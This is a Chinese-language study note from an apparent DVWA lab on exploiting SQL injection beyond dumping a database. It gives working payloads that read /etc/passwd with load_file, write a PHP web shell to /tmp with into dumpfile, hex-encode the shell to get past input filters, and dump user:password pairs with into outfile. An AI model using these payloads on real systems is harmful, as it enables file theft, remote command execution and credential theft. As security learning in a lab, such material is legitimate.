SQL注入学习二
本次记录:SQL注入除了可以拖库,还可以做什么。SQL注入的利用方法
1. 读取文件
利用dbms中的load_file()
函数可以读取系统中的文件。
利用burp suite进行注入。
设置好代理之后,使用burp suite进行拦截,Ctrl+R将request发送到Repeater中。
这里的id就是我们要注入的参数。
Value中输入 ' union select null, load_file('/etc/passwd') --
可以看到读取到了/etc/passwd的内容
2. 写入文件
主要利用into dumpfile
将要传的文件dump到本地。
在Value值中输入(into dumpfile后没有指定路径): ' union select null, "<?php passthru($_GET['cmd']);?>" into dumpfile "a.php"
文件上传成功,由于我们没有指定dump到的文件路径,因此我们远程登录到目标主机,查找一下文件位置。
自动保存到了/var/lib/mysql/dvwa/a.php
,然而使用msfadmin的权限是无法访问dvwa文件夹的,因为dvwa的所有者和所属组均为mysql,因此即使我们将文件写入到了目标服务器,仍然无法利用。
基于这种情况,一般将文件写入到/tmp
目录下。因为这个目录所有用户均具有读写权限。 ' union select null, "<?php passthru($_GET['cmd']);?>" into dumpfile "/tmp/a.php"
上传成功。
此时我们可以利用系统的文件包含漏洞:
可以成功执行命令。
这里又出现了一个问题,如果服务器对我们的输入进行了过滤,比如过滤了<
将会导致我们的注入无效,这是用需要利用编码,绕过后台服务器的过滤。本次介绍使用二进制编码。
将一句话木马存入c.php
中 <?php passthru($_GET['cmd']);?>
然后进行编码 cat c.php | xxd -ps | tr -d '\n'
- xxd命令:对于标准输入或者给定的文件,显示其16进制的内容。也可以反过来进行转换。
- tr命令:可以对来自标准输入的字符进行替换、压缩和删除。它可以将一组字符变成另一组字符,经常用来编写优美的单行命令,作用很强大。
复制十六进制的内容到burp suite中进行注入,同样可以注入。 ' union select null, (0x3c3f7068....) into dumpfile "/tmp/c.php" --
3. 保存下载数据库
主要利用into outfile
将从数据库中查询到的结果输出到本地。同样利用文件包含漏洞。 ' union select null, concat(user, 0x3a, password) from users into outfile "/tmp/a.db"